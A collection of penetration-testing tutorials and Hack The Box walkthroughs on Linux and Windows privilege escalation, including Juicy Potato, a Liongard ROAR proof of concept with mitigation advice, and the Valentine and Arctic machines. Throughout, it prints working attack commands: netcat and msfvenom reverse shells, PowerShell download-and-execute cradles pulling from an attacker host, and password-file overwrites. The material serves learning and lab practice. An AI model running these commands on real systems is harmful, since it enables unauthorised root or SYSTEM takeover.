Hacking Tutorial

Linux Privilege Escalation: Weak File Permissions – Writable /etc/passwd

The /etc/passwd file contains information about user accounts. It is world-readable, but usually only writable by the root user. Historically, the /etc/passwd file contained user password hashes, and some versions of Linux will still allow password hashes to be stored there. If we have write access to this file as a low level user, we can abuse this privilege to actually overwrite the root user’s password hash.


Method 1 – Overwriting root password

Do do this, let’s first check the file permissions on the /etc/passwd file. In our example, we can see that our user account has read/write access.
ls -la /etc/passwd

Now we can use openssl to generate a new password hash in the format used by /etc/passwd.
openssl passwd <newPassword>

Now let’s edit the /etc/passwd file and paste the newly generated hash between the first and second colon.
vi /etc/passwd

Finally, we can switch to the root user using the new password.
su root


Method 2 – Creating a new user account

Alternatively, you could have also created a new user account with root group membership. This can easily be done in two steps:

  1. Copy the root user line, and paste it to the bottom of the /etc/shadow file.
  2. Place a password hash that you control between the first and 2nd colon.

Once this is done, you can simply switch to the new user.
su newroot

Hacking Tutorial

Linux Privilege Escalation: Weak File Permissions – Writable /etc/shadow

The /etc/shadow file contains user password hashes and is usually readable only by the root user. When this file is misconfigured, and global write access is allowed, this can allow us to overwrite the root password hash with one that we control.

Do do this, let’s first check the file permissions on the /etc/shadow file. In our example, we can see that our user account has read/write access.
ls -la /etc/shadow

Knowing that we can write to this file, let’s create a password hash that we control. While all we need to do is generate a SHA-512 hash, we can actually use a pre-installed utility called mkpasswd to generate one for us.
mkpasswd -m sha-512 <newPassword>

Copy the hash that gets generated, and lets go edit the /etc/shadow file.
vi /etc/shadow

You’ll want to paste the password between the first and second colon symbols. If a hash is present, overwrite it.

Once the file has been changed, you can now switch to the root user using the password you passed to the mkpasswd command.
su root

Hack The Box

List of Privilege Escalation Methods on Hack The Box Machines

This post will contain a list of retired Hack The Box machines and the methods used by Ippsec to escalate privileges. The idea is to provide a list of privesc methods to review when you’re stuck and unable to find the intended way to escalate when you’re taking the OSCP exam and/or participating in a CTF.

This list will be updated as time goes on.


Linux Machines:

OpenAdmin: Linux Machine Retired in May 2020

  • Ippsec was able to abuse a public exploit to get command execution as www-data. This allowed for a low-privileged reverse shell.
  • Once on the box as www-data, he was able to enumerate the config files for the webserver, and found plaintext credentials for the SQL database.
  • Connecting to the SQL database didn’t return anything new, but we were able to enumerate additional users on the box from /etc/passwd, and found that the credentials to the database were being reused for the Jimmy user account.
  • We also found that an additional webserver was listening on localhost port 52846 by running ss -lntp.
  • Reviewing the configuration files that power this webserver reveals a SHA256 hash that we’re able to decrypt the cleartext password to. This reveals Johanna’s SSH key, which we then can leverage John to crack the encryption on. Finally, we’re able to SSH into the box as Johanna.
  • After using SSH to login as Johanna, we found that the Nano binary had its SUID bit set. Using GTFObins allowed for a way to escape and escalate to root.

Admirer: Linux Machine Retired in September 2020

  • We’re able to find credentials for a user named Waldo, which allows us to SSH into the box.
  • From here, we run sudo -l and find that he’s able to write to run the following as sudo. /opt/scripts/admin_tasks.sh
  • Reviewing the code of admin_tasks.sh, we find that it calls on another script when performing a web backup. That script is /opt/scripts/backup.py.
  • It doesn’t look like we have a way to pass any parameters, but the script imports a Python module with the following line: from shutil import make_archive
  • This means that we can create our own shutil.py file, provide the path when we execute the parent script, and should be able to execute Python code as root. We start by making a file at /opt/a/shutil.py with the following code:
    import os
    def make_archive(a, b, c):
    os.system('nc 10.10.14.44 443 -e "/bin/sh"')
  • Then finally we can start a netcat listener, and run the script as sudo while passing the PYTHONPATH variable to our custom location.
    sudo PYTHONPATH=/tmp/a /opt/scripts/admin_tasks.sh

Magic: Linux Machine Retired in Aug 2020

  • Ippsec was able to gain a low-privileged shell by using a SQL injection to bypass the initial login page, and then uploading a malicious PHP web-shell. This gets us on the box as www-data.
  • Looking through the website configuration files, we find that the credentials for a user are stored in plaintext. These are used to connect to a local database.
  • Dumping the contents of this database using the captured credentials reveals another set of credentials for a new user, named Theseus.
  • We find that the password taken from the database works to switch over to the Thesues user in Linux.
  • Now we restart our enumeration and end up running commands to see what files we have write permissions to.
    find / -user theseus -ls 2>/dev/null
    find / -group users -ls 2>/dev/null
  • This returns a binary with the SUID bit set: /bin/sysinfo
  • Running strace against this shows that it will use the binary called free, but it doesn’t use an absolute path. This allows us to create our own free binary, update our path so that our custom free binary gets executed instead.
  • Now running the sysinfo binary will call upon our custom free binary in the root context, therefor giving us a root reverse shell.

Windows Machines:

Chatterbox: Windows Machine Retired in June 2018

  • You’re able to get an initial shell by using a public BOF exploit. This will get a shell as Alfred.
  • Once on the box, you find that you’re able to read the Administrator’s Desktop, but you can’t read the root.txt file.
  • Using acals, we find that we have Full Control of the desktop, which means we can grant ourselves access to root.txt with the following command: icacls root.txt /grant alfred:F
  • We also find that there are autologin creds stored in cleartext. These creds are for the Alfred user, but we’re able to actually reuse the same password for the Administrator account using PowerShell to gain a reverse shell as Admin.

SecNotes: Windows Machine Retired in January 2019

Ippsec was able to gain a low-privileged shell as a user named Tyler. Inside Tyler’s Desktop directory was a link to a file named bash.lnk. This was a hint that Bash for Windows was installed. Because of this, he was able to look through the appdata for the installed application, find the filesystem used by the virtual machine container, and open the contents of the root users’ .bash_history file. Within this was the local administrator credential to the box in plaintext.


Bastion: Windows Machine Retired in Sep 2019

Ippsec was able to gain a low-privileged shell as a user named L4mpje. Eventually he came across the Program Files (x86) directory that showed an application called mRemoteNG was installed. This stood out because all other applications appeared to be pretty default. Doing a Google search on “mRemoteNG password decrypt” returned a handful of articles showing how you could extract hashes from the config file of this application using tools on Github. Doing this allowed us to gather the local admin user credentials.


ServMon: Windows Machine Retired in June 2020

Ippsec was able to find cleartext creds via LFI and use those to SSH into the box as a low-privileged user named Nadine. Enumerating the box confirmed that an application called NSClient was running, which appears execute remote commands/scripts based on what jobs you schedule in the webapp. Using a command that uses the nsclient.exe binary, we were able to extract the password to login to the admin of this application in cleartext. We set up an SSH tunnel so that we can access the web interface as localhost, sign in with this captured password, and then schedule a job that executes our malicious PowerShell command.


Remote: Windows Machine Retired in Sept 2020

  • Ippsec was able to get a low-level shell by abusing a public exploit for the CMS powering the site.
  • Running whoami /all showed that SeImpersonatePrivilege was enabled, which allow for a Potato-based attack.
  • WinPEAS output helps us determine that we can modify UsoSvc service, along with start it.
  • Using sc.exe, we’re able to modify the binary path used by this service to instead launch the following command: cmd.exe /c powershell.exe -EncodedCommand <encodedCommand>
  • The encoded command was configured to download a reverse shell and execute it into memory, which then allowed escalation to SYSTEM.

Buff: Windows Machine Retired in Nov 2020

Ippsec was able to gain a low-privileged shell as a user named Shaun. He ran the WinPEAS script and spoke about a few items that stood out. First, he saw that Watson returned a handful of CVEs related to Windows Build version, but he said he’ll save those for last due to stability issues with those type of exploits. Next, he points out that an administrator is currently logged in, so he suggests we look at processes running as administrator currently. He found that SQL was running so we may want to poke around in that. We can write into the c:\xampp directory, so that’s interesting. After this script finished, he started enumerating the box and came across “Tasks.bat” within his Documents directory, which executes a file that starts the webserver. In Downloads, he finds a “CloudMe_1112.exe” file. Running searchsploit against this returns a handful of BOF vulnerabilities. Exploiting this returns a reverse shell running as administrator.


Hacking Tutorial

Windows Privilege Escalation: Abusing SeImpersonatePrivilege with Juicy Potato

When you’ve found yourself as a low-level user on a Windows machine, it’s always worthwhile to check what privileges your user account has. If you have the SeImpersonatePrivilege, there is a very simply attack vector that you can leverage to gain SYSTEM level access.

Table of Contents

  • Verifying Permissions and Downloading Exploit
  • Performing the Attack

Verifying Permissions and Downloading Exploit

Let’s start by checking what privileges our user has.

whoami /all

Based on the return output, we can confirm that we have the correct privileges to abuse this vulnerability.

Great! Lets go out and download our exploit. You can get the latest version by navigating to the following Github page, and clicking on Releases.

https://github.com/ohpe/juicy-potato

Once downloaded to our system. lets transfer it to our victim machine using your favorite method. Feel free to review the options at my Windows File Transfer Cheatsheet. Once its present on the target system, running the executable should return the following help documentation.

Perfect! We should be ready to perform the attack.


Performing the Attack

This attack will allow us to run executables as the SYSTEM level process. This means that in addition to the JuicyPotato.exe exploit, we’ll also need our own malicious file that we wish to execute. This could be many different things, but a common example would be a reverse shell payload. You can learn how to generate these by visiting my MSFVenom Reverse Shell Payload Cheatsheet (with & without Meterpreter).

However in this example, I’m going to use a PowerShell Nishang reverse shell. If you do not have this downloaded, you can get it from the following Github page: https://github.com/samratashok/nishang

With the contents of this repo stored in your /opt directory, let’s copy the Invoke-PowerShellTcp.ps1 script to our present working directory as rev.ps1.

sudo cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 rev.ps1

Then, let’s make a slight modification to the script and add the following line to the bottom. Doing this will not only load the modules into the PowerShell session when called upon, but it will also execute them so that a reverse shell connection can establish.

Invoke-PowerShellTcp -Reverse -IPAddress <attackerIP> -Port <attackerPort>

With that script modified and ready, we can host it up on our webserver using the following command:

sudo python -m SimpleHTTPServer 80

Oh! And don’t forget to start your Netcat listener.

sudo nc -nvlp <attackerPort>

The only thing needed at this point is a batch script that we can pass to Juicy Potato. Since Juicy Potato will run the batch script as SYSTEM, any commands we place in it will execute as SYSTEM. Let’s have our batch script contain the following PowerShell command so that it will download our Nishang reverse shell and execute it.

powershell "IEX(New-Object Net.WebClient).downloadString('http://attackerIP/rev.ps1')"

Now we’ll transfer this batch file to our target and run our Juicy Potato command! To understand what we’re doing in this attack, I’d recommend reading http://ohpe.it/juicy-potato/. The following command should work in most cases without the need for modification (other than the path/executables).

.\JuicyPotato.exe -t * -p c:\path\to\executable.bat -l 9002

If the above command returns an error, you may need to find a different CLSID. If that’s the case, you can find a different one from the following page: https://ohpe.it/juicy-potato/CLSID/

.\JuicyPotato.exe -t * -p c:\path\to\executable.bat -l 9002 -c '{CLSID}'

If everything works, Juicy Potato should execute executable.bat as SYSTEM, which issues a PowerShell command that downloads rev.ps1 from our attack machine. Rev.ps1 will then load Nishang into memory, and establish a reverse shell connection to our Netcat listener. Running whoami in that connection should return SYSTEM.


Additional Resources:

A more modern version of this attack is Rogue Potato: https://github.com/antonioCoco/RoguePotato

Hacking Tutorial

Abusing Local Privilege Escalation Vulnerability in Liongard ROAR <1.9.76

Liongard ROAR is an automated documentation system that collects daily snapshots of configuration data for cloud, network, and on-premise systems.

In April 2020, a local privilege escalation vulnerability was discovered that would allow an attacker the ability to modify executables placed on a system by the RoarAgent installer. Should those executables be modified to contain specific exploit code, an attacker would be able to leverage this to escalate their privileges to the same user context used by the RoarAgent service.

This guide intends to serve as a proof-of-concept, and will not go into detail on bypassing antivirus or other security measures.

Table of Contents:

  • Setting the Stage
  • Preparing the Payload
  • Transferring the Payload
  • Performing the Attack
  • Mitigation

Setting the Stage

Before we begin, it is important to note that this is a privilege escalation exploit. This assumes that an attacker already has access to the system that they wish to exploit, and this will not work without access to the machine with at least a low-level user account.

Note: ROAR is typically installed on a Domain Controller. Since most Domain Controllers do not usually allow low-level users access to the system, an argument can be made that this vulnerability is low severity. However, it is important to note that ROAR can be installed on non-Domain Controller systems as well.

The vulnerability exists due to the way the installer assigns security permissions to the files within the following directory:

C:\Program Files (x86)\LiongardInc\RoarAgent

Reviewing the files at this directory reveals that all executables have Full Control assigned to Everyone.

No matter what user we’re logged in as, we have the ability to Modify this file. What were to happen if we were to place a malicious executable with the name RoarAgentSVC.exe in this directory, overwrite the existing file, and restart the Roar Agent service?

This particular file that we’re observing in the above screenshot is the executable that runs when the Roar Agent service is started within services.msc.

This service runs within a specific user context as specified by the administrator when installing the software. According to Liongard’s documentation, they suggest using a Domain Admin for the Log On As user.


Preparing the Payload

Spin up a Kali instance, and let’s start by generating a quick EXE payload. If you haven’t already, check out my MSFVenom Cheatsheet where I share the command I’m about to use, along with many others that may come in handy for you in the future.

sudo msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe

Obviously you’ll want to replace LHOST and LPORT with the appropriate value for your environment.


Transferring the Payload

With our payload ready, we need to transfer it to the target machine. There are a number of ways to do this, but I’ll simply encode this file in Base64 format since it’s not very large.

base64 -w0 shell-x64.exe

We can then copy results to our clipboard.

And paste it into a text file on our target machine. I’ll create a new text document called RoarAgentSVC.b64 and store the contents there.

With the contents of our Base64 payload on the machine, we need to decode it, and overwrite the RoarAgentSVC.exe executable. I’m going to rename RoarAgentSVC.exe to RoarAgentSVC.bak so we can easily revert our changes once finished.

We can now leverage CertUtil decode the contents of our Base64 encoded file.

certutil -decode RoarAgentSVC.b64 RoarAgentSVC.exe


Performing the Attack

We now have everything in place. If the user we’re logged in as does not have permission to restart the service or issue a reboot, we simply have to wait for a maintenance window to occur. The next time the Roar Agent service gets executed, so should our malicous payload which should trigger a reverse shell back to our attacking machine.

To make sure we catch the reverse shell, let’s spin up a netcat listener.

sudo nc -nvlp 443

For sake of demonstration, we will restart the service on the victim machine.

Which then executes our payload, and sends us a reverse shell.

A quick whoami and net user command(s) shows us what user context we’re running as.


Mitigation

Option A: Patching

The easiest mitigation strategy is to upgrade your version of Liongard ROAR to 1.9.76 or greater. Liongard’s official documentation on this topic can be found at https://docs.liongard.com/docs/critical-security-patch-2020-04-24

Option B: Principle of Lease Privilege

Consider reviewing what user-context your Roar service runs in. Had we had the service run with Domain-Admin rights in our example, or even local admin privileges on a domain controller, an attacker could leverage this vulnerability to gain access across an entire enterprise with a single attack.

You have to dig for it a bit in their documentation, but you can find details on creating a non-domain admin service account.

Hack The Box

Hack the Box Write-Up: VALENTINE (Without Metasploit)

In honors of Valentines day, I figured it only made sense to give this box a try and was shocked at how easy it ended up being.

Table of Contents:

  • Enumeration
  • Exploiting Heartbleed Vulnerability
  • Privilege Escalation
  • Key Takeaways

Enumeration

As always, I started with an nmap scan to see what ports are open.
nmap -T4 -sV -sC 10.10.10.79

Reviewing the results, I see that we’re dealing with a webserver that also has port 22 open for SSH. My immediate thought is I’ll be able to find credentials through a web exploit, which I can use the log into the box via SSH.

To start, let’s go take a look at the webpage on port 80 and 443.

I quickly see the infamous Heartbleed logo on both webserver ports. Add in the fact that this box is named Valentine, I start to wonder if Heartbleed is the intended path.

To see if the machine is vulnerable to Heartbleed, I decide to run a quick nmap script against the box.

nmap -sV --script=/usr/share/nmap/scripts/ssl-heartbleed.nse 10.10.10.79

According to the results, I’m able to confirm the machine should be vulnerable to Heartbleed.


Exploiting Heartbleed Vulnerability

At this point, I start looking for public exploits for Heartbleed and come across the following python script at https://stackabuse.com/how-to-exploit-the-heartbleed-bug/

I take a copy of this code and save it as exploit.py on my machine. After reviewing the code, I see that the syntax only requires the IP address of our target.
sudo python exploit.py 10.10.10.79

There is a lot of output that gets returned, which tells us that we successfully exploited Heartbleed. Taking a closer look at the output shows a text value (that appears to be Base64) for a form located at https://127.0.0.1/decode.php (see above screenshot for the highlighted text value).

Note: You may need to run the exploit multiple times before you find the text string I’m mentioning.

I decide to head over to the decode.php page and see if I can decode this string.

Interesting! So we’ve got a value that appears to be some sort of credential. At this point, I attempted to SSH into the box as root using heartbleedbelievethehype as the password, but it didn’t work.

Seeming to be at a dead-end, I decide to run dirbuster against the box. After some time, I uncovered a page at /dev/hype_key that appeared to contain a hidden message in hex format.

I copy this hex code, look up a quick online decoder, and dump the text in. Looks like we found an RSA key for an SSH connection!

I take the decoded RSA key and store that into a file named rsa.key. I then attempt to connect to the box using the key and uncovered passphrase, but am still unable to get in. It seems I need to uncover a username still as this key isn’t working for the root user.

After trying a few basic usernames, such as valentine@10.10.10.79 or heartbleed@10.10.10.79, I finally realize that the username is in the name of the encoded RSA key. If you recall, the name of this file was hype_key.

Finally with this additional insight, I attempt to connect to the box using this RSA key, passphrase, and username.
sudo ssh -i rsa.key hype@10.10.10.79

Great! I’ve got a connection as a low-privileged user. I’ll go ahead and grab the user.txt file before moving on.


Privilege Escalation

At first, I figured I’d check for low-hanging fruit through a kernel exploit. Let’s see what OS I’m running on.
uname -a

Sweet, x86 Ubuntu 3.2.0-23. Wonder if there are any known privesc exploits?
searchsploit ubuntu 3.2

Look like there are a couple! I attempted to use two of these, but was unable to make it work. Either ran into a compilation error, or a problem executing the payload. Either way, figured there must be another way to gain root-access and decided to dig deeper.

If I can’t make an easy kernel exploit work, perhaps I can still find a lazy path to root? Let’s see what commands were previously ran on this box as root.
cd ~
cat .bash_history

Interesting.. Looks like the admin was using tmux for something. Let’s try a couple of these commands and see what happens.
tmux -S /.devs/dev_sess

Wow, looks like that got us root! Let’s grab our flag and consider this one a wrap.


Key Takeaways

  • Staying up to date with major vulnerabilities will make your life easier when it comes to identifying critical holes.
  • Not all attack vectors relay on remote code execution or buffer overflows.
  • Always look for low hanging fruit, whether that’s something as simply as looking at command history or even kernel exploits.

Hack The Box

Hack the Box Write-Up: ARCTIC (Without Metasploit)

This was a “fun” box. It honestly wasn’t too hard because there are many, well documented, public exploits available. I spent way more time than I’d like to admit on the privesc section, but eventually found an easy way in.

Table of Contents:

  • Enumeration and Initial Foothold
  • Privilege Escalation
  • Key Takeaways

Enumeration and Initial Foothold

As always, started with a quick nmap scan of the box with default scripts (-sC) and enumeration of versions (-sV). -T4 simply makes the scan run faster with additional threads.
nmap -sV -sC -T4 10.10.10.11

We find that port 8500 is open, but I don’t immediately recognize what service is running, so let’s check it out in a web browser. I opened tabs to see if it would respond on both http as well as https. I only received a response back on http, but could see the index of a directory!

At this point, my immediate instinct is to start running dirbuster to see what directories we can uncover. While that was running in the background, I decided to manually dive in. I eventually found an administrator page at the URL http://10.10.10.11:8500/CFIDE/administrator.

Here, we can see that we’re running a piece of software called Adobe Coldfusion, version 8!

Viewing the Page Source, we can see that there is a hard-coded salt value that gets added to the password when it’s entered. I went ahead and made note of this in case it’s helpful in the future.

At this point, I started looking for public exploits known to Cold Fusion 8. In my research, I found many many vulnerabilities that we may have been able to use for our way in. I eventually decided on utilizing a Arbitrary File Upload and Execute vulnerability found at the below website:
https://repo.theoremforge.com/pentesting/tools/blob/01a0616a6e09c9dbf42d731261309109443cc3e6/Uncategorized/exploit/windows/CVE-2009-2265_coldfusion.8.0.1/upload.py

I copied that code down and stored it into a new file that I named hax.py. After reading through the code, it appears that we’re simply uploading a malicious JSP file to a directory that we have unauthenticated access to. Reading the usage, we’ll need to first create our own malicious JSP file to pass along.

Leverage msfvenom to create a JSP payload, per the instructions from the exploit.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.45 LPORT=443 -f raw > shell.jsp

Cool, time to exploit!
python hax.py 10.10.10.11 8500 shell.jsp

Perfect, we received a successful message indicating that we have uploaded our malicious file. Time to set up a Netcat listener, and then browse to the URL holding the malicious JSP file to execute the exploit.
nc -nvlp 443

Browse to http://10.10.10.11:8500/userfiles/file/exploit.jsp

Awesome! I’m presented with a shell. A quick whoami confirms that we haven’t pwned the system fully yet.

Let’s grab the user flag real quick before moving onto the next section, which we see is on the user’s desktop.
dir c:\users\tolis\desktop


Privilege Escalation

A quick systeminfo returns that we’re dealing with a 64-bit Windows Server 2008 R2 machine with no patches installed.

In my last post about Devel (which you can find here), we used a tool called Sherlock to locate privilege escalation exploits on a machine.

This time, I wanted to use a different tool. I came across the Windows-Exploit-Suggester.py on GitHub, and figured I’d give it a try. https://github.com/AonCyberLabs/Windows-Exploit-Suggester

While many people give credit to this tool, I didn’t have much luck. It returned a list of exploits that I couldn’t use on this box, and also missed some critical exploits that would have made privesc much easier. Feel free to try it out and see how it works for you — Just know your mileage may vary.

Instead, I Googled local privilege escalation exploits available on Server 2008 R2 machines. Eventually, I came across MS10-059. There are some awesome public exploits available for this vulnerability, and I found a precompiled executable that will present you with a reverse SYSTEM shell.

Note: I do not recommend using public precompiled executables on your machine. Please proceed with caution when you’re unable to view the source code of any executable found on the Internet!!!

I found this particular executable at https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS10-059.

Once downloaded on my box, I transferred it over to the victim by spinning up a quick webserver via Python.
python -m SimpleHTTPServer 80

On the victim computer, I changed into a directory that I had write permissions to, and then downloaded this file using certutil.
certutil -urlcache -f "http://10.10.14.45/MS10-059.exe" MS10-059.exe

Executing this file returns usage on how to gain the reverse shell.

Alright cool, sounds like we need to spin up a Netcat listener to catch the shell! Let’s run this command on our Kali box.
nc -nvlp 9001

And finally, let’s execute this command on the victim box.
ms10-059.exe 10.10.14.45 9001

Checking back on our Netcat listener, we see that we’ve popped a shell. A quick whoami proves that we now have SYSTEM.


Key Takeaways

  • While enumeration scripts will work on some boxes, they don’t always work on all. Make sure to keep trying different things until you find a path that works for you.
  • There are typically many different ways into a system. While learning different methods will always be useful, sometimes it’s best to go with the easiest methods first.
  • Patch outdated software — duh.